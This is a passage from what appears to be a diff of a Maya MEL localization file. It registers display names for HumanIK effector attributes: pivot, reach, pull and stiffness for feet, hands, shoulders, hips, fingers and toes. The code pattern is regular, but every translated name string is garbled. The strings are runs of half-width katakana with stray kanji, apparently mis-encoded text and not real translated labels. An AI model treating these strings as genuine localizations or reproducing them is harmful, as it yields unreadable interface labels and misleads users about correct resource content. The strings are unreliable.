"LeftFootEffectorPivotZ", "ラスナミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorReachT", "ラスナミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorReachR", "ラスナミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPull", "ラスナミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorStiffness", "ラスナミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorGX", "モメスナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivot", "モメスナミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivotX", "モメスナミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivotY", "モメスナミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivotZ", "モメスナミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorReachT", "モメスナミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorReachR", "モメスナミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPull", "モメスナミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorStiffness", "モメスナミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorGX", "ラシ醪ァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivot", "ラシ醪ァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivotX", "ラシ醪ァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivotY", "ラシ醪ァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivotZ", "ラシ醪ァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorReachT", "ラシ醪ァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorReachR", "ラシ醪ァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPull", "ラシ醪ァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorStiffness", "ラシ醪ァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorGX", "モメシ醪ァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivot", "モメシ醪ァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivotX", "モメシ醪ァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivotY", "モメシ醪ァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivotZ", "モメシ醪ァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorReachT", "モメシ醪ァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorReachR", "モメシ醪ァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPull", "モメシ醪ァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorStiffness", "モメシ醪ァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorGX", "ヘキイソミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivot", "ヘキイソミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivotX", "ヘキイソミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivotY", "ヘキイソミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivotZ", "ヘキイソミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorReachT", "ヘキイソミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorReachR", "ヘキイソミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPull", "ヘキイソミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorStiffness", "ヘキイソミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorGX", "ラナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivot", "ラナミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivotX", "ラナミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivotY", "ラナミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivotZ", "ラナミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorReachT", "ラナミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorReachR", "ラナミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPull", "ラナミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorStiffness", "ラナミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorGX", "モメナミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivot", "モメナミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivotX", "モメナミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivotY", "モメナミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivotZ", "モメナミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorReachT", "モメナミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorReachR", "モメナミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPull", "モメナミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorStiffness", "モメナミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorGX", "ラハヨミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivot", "ラハヨミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivotX", "ラハヨミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivotY", "ラハヨミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivotZ", "ラハヨミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorReachT", "ラハヨミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorReachR", "ラハヨミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPull", "ラハヨミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorStiffness", "ラハヨミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorGX", "モメハヨミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivot", "モメハヨミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivotX", "モメハヨミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivotY", "モメハヨミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivotZ", "モメハヨミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorReachT", "モメハヨミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorReachR", "モメハヨミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPull", "モメハヨミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorStiffness", "モメハヨミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorGX", "ラハヨトエヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivot", "ラハヨトエヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivotX", "ラハヨトエヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivotY", "ラハヨトエヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivotZ", "ラハヨトエヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorReachT", "ラハヨトエヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorReachR", "ラハヨトエヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPull", "ラハヨトエヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorStiffness", "ラハヨトエヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorGX", "ラハヨハウヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivot", "ラハヨハウヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivotX", "ラハヨハウヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivotY", "ラハヨハウヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivotZ", "ラハヨハウヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorReachT", "ラハヨハウヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorReachR", "ラハヨハウヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPull", "ラハヨハウヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorStiffness", "ラハヨハウヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorGX", "ラハヨヨミヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivot", "ラハヨヨミヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivotX", "ラハヨヨミヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivotY", "ラハヨヨミヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivotZ", "ラハヨヨミヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorReachT", "ラハヨヨミヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorReachR", "ラハヨヨミヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPull", "ラハヨヨミヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorStiffness", "ラハヨヨミヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorGX", "ラハヨボテヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivot", "ラハヨボテヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivotX", "ラハヨボテヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivotY", "ラハヨボテヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivotZ", "ラハヨボテヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorReachT", "ラハヨボテヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorReachR", "ラハヨボテヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPull", "ラハヨボテヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorStiffness", "ラハヨボテヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorGX", "ラハヨミ。ヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivot", "ラハヨミ。ヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivotX", "ラハヨミ。ヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivotY", "ラハヨミ。ヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivotZ", "ラハヨミ。ヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorReachT", "ラハヨミ。ヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorReachR", "ラハヨミ。ヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPull", "ラハヨミ。ヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorStiffness", "ラハヨミ。ヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorGX", "ラハヨチヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivot", "ラハヨチヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivotX", "ラハヨチヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivotY", "ラハヨチヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivotZ", "ラハヨチヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorReachT", "ラハヨチヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorReachR", "ラハヨチヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPull", "ラハヨチヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorStiffness", "ラハヨチヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorGX", "モメハヨトエヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivot", "モメハヨトエヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivotX", "モメハヨトエヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivotY", "モメハヨトエヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivotZ", "モメハヨトエヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorReachT", "モメハヨトエヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorReachR", "モメハヨトエヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPull", "モメハヨトエヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorStiffness", "モメハヨトエヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorGX", "モメハヨハウヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivot", "モメハヨハウヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivotX", "モメハヨハウヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivotY", "モメハヨハウヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivotZ", "モメハヨハウヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorReachT", "モメハヨハウヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorReachR", "モメハヨハウヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPull", "モメハヨハウヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorStiffness", "モメハヨハウヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorGX", "モメハヨヨミヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivot", "モメハヨヨミヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivotX", "モメハヨヨミヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivotY", "モメハヨヨミヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivotZ", "モメハヨヨミヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorReachT", "モメハヨヨミヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorReachR", "モメハヨヨミヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPull", "モメハヨヨミヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorStiffness", "モメハヨヨミヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorGX", "モメハヨボテヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivot", "モメハヨボテヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivotX", "モメハヨボテヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivotY", "モメハヨボテヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivotZ", "モメハヨボテヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorReachT", "モメハヨボテヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorReachR", "モメハヨボテヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPull", "モメハヨボテヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorStiffness", "モメハヨボテヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorGX", "モメハヨミ。ヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivot", "モメハヨミ。ヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivotX", "モメハヨミ。ヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivotY", "モメハヨミ。ヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivotZ", "モメハヨミ。ヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorReachT", "モメハヨミ。ヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorReachR", "モメハヨミ。ヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPull", "モメハヨミ。ヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorStiffness", "モメハヨミ。ヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorGX", "モメハヨチヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivot", "モメハヨチヨクミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivotX", "モメハヨチヨクミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivotY", "モメハヨチヨクミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivotZ", "モメハヨチヨクミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorReachT", "モメハヨチヨクミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorReachR", "モメハヨチヨクミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPull", "モメハヨチヨクミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorStiffness", "モメハヨチヨクミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorGX", "ラスナエヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivot", "ラスナエヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivotX", "ラスナエヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivotY", "ラスナエヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivotZ", "ラスナエヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorReachT", "ラスナエヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorReachR", "ラスナエヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPull", "ラスナエヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorStiffness", "ラスナエヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorGX", "ラスナカヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivot", "ラスナカヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivotX", "ラスナカヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivotY", "ラスナカヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivotZ", "ラスナカヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorReachT", "ラスナカヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorReachR", "ラスナカヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPull", "ラスナカヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorStiffness", "ラスナカヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorGX", "ラスナヨミヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivot", "ラスナヨミヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivotX", "ラスナヨミヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivotY", "ラスナヨミヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivotZ", "ラスナヨミヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorReachT", "ラスナヨミヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorReachR", "ラスナヨミヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPull", "ラスナヨミヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorStiffness", "ラスナヨミヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorGX", "ラスナヒトヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivot", "ラスナヒトヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivotX", "ラスナヒトヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivotY", "ラスナヒトヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivotZ", "ラスナヒトヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorReachT", "ラスナヒトヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorReachR", "ラスナヒトヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPull", "ラスナヒトヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorStiffness", "ラスナヒトヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorGX", "ラスナミ。ヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivot", "ラスナミ。ヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivotX", "ラスナミ。ヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivotY", "ラスナミ。ヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivotZ", "ラスナミ。ヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorReachT", "ラスナミ。ヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorReachR", "ラスナミ。ヨコミァモヲニエオスミラェ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPull", "ラスナミ。ヨコミァモヲニタュカッ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorStiffness", "ラスナミ。ヨコミァモヲニクユカネ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorGX", "ラスナチヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivot", "ラスナチヨコミァモヲニハ獰" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivotX", "ラスナチヨコミァモヲニハ獰 X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivotY", "ラスナチヨコミァモヲニハ獰 Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivotZ", "ラスナチヨコミァモヲニハ獰 Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorReachT", "ラスナチヨコミァモヲニエオスニスメニ" ); +setAttrNiceNameResource( "HIKEffector2State", 